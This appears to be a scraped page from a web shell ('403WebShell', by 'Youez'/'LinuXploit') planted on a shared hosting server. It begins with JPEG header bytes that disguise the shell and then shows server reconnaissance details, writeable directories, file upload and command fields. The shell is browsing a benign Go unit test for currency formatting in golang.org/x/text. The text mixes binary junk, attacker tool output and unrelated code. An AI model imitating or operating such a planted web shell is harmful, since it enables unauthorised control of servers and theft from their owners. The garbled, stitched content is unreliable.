JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.194  /  Your IP : 216.73.217.129
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/golang.org/x/text@v0.21.0/currency/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/golang.org/x/text@v0.21.0/currency/format_test.go
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package currency

import (
	"testing"

	"golang.org/x/text/language"
	"golang.org/x/text/message"
)

var (
	de    = language.German
	en    = language.English
	fr    = language.French
	de_CH = language.MustParse("de-CH")
	en_US = language.AmericanEnglish
	en_GB = language.BritishEnglish
	en_AU = language.MustParse("en-AU")
	und   = language.Und
)

func TestFormatting(t *testing.T) {
	testCases := []struct {
		tag    language.Tag
		value  interface{}
		format Formatter
		want   string
	}{
		0: {en, USD.Amount(0.1), nil, "USD 0.10"},
		1: {en, XPT.Amount(1.0), Symbol, "XPT 1.00"},

		2: {en, USD.Amount(2.0), ISO, "USD 2.00"},
		3: {und, USD.Amount(3.0), Symbol, "US$ 3.00"},
		4: {en, USD.Amount(4.0), Symbol, "$ 4.00"},

		5: {en, USD.Amount(5.20), NarrowSymbol, "$ 5.20"},
		6: {en, AUD.Amount(6.20), Symbol, "A$ 6.20"},

		7: {en_AU, AUD.Amount(7.20), Symbol, "$ 7.20"},
		8: {en_GB, USD.Amount(8.20), Symbol, "US$ 8.20"},

		9:  {en, 9.0, Symbol.Default(EUR), "€ 9.00"},
		10: {en, 10.123, Symbol.Default(KRW), "₩ 10"},
		11: {fr, 11.52, Symbol.Default(TWD), "TWD 11,52"},
		12: {en, 12.123, Symbol.Default(czk), "CZK 12.12"},
		13: {en, 13.123, Symbol.Default(czk).Kind(Cash), "CZK 13"},
		14: {en, 14.12345, ISO.Default(MustParseISO("CLF")), "CLF 14.1235"},
		15: {en, USD.Amount(15.00), ISO.Default(TWD), "USD 15.00"},
		16: {en, KRW.Amount(16.00), ISO.Kind(Cash), "KRW 16"},

		17: {en, USD, nil, "USD"},
		18: {en, USD, ISO, "USD"},
		19: {en, USD, Symbol, "$"},
		20: {en_GB, USD, Symbol, "US$"},
		21: {en_AU, USD, NarrowSymbol, "$"},

		// https://en.wikipedia.org/wiki/Decimal_separator
		22: {de, EUR.Amount(1234567.89), nil, "EUR 1.234.567,89"},
		23: {fr, EUR.Amount(1234567.89), nil, "EUR 1\u00a0234\u00a0567,89"},
		24: {en_AU, EUR.Amount(1234567.89), nil, "EUR 1,234,567.89"},
		25: {de_CH, EUR.Amount(1234567.89), nil, "EUR 1’234’567.89"},

		// https://en.wikipedia.org/wiki/Cash_rounding
		26: {de, NOK.Amount(2.49), ISO.Kind(Cash), "NOK 2"},
		27: {de, NOK.Amount(2.50), ISO.Kind(Cash), "NOK 3"},
		28: {de, DKK.Amount(0.24), ISO.Kind(Cash), "DKK 0,00"},
		29: {de, DKK.Amount(0.25), ISO.Kind(Cash), "DKK 0,50"},

		// integers
		30: {de, EUR.Amount(1234567), nil, "EUR 1.234.567,00"},
		31: {en, CNY.Amount(0), NarrowSymbol, "¥ 0.00"},
		32: {en, CNY.Amount(0), Symbol, "CN¥ 0.00"},
	}
	for i, tc := range testCases {
		p := message.NewPrinter(tc.tag)
		v := tc.value
		if tc.format != nil {
			v = tc.format(v)
		}
		if got := p.Sprint(v); got != tc.want {
			t.Errorf("%d: got %q; want %q", i, got, tc.want)
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit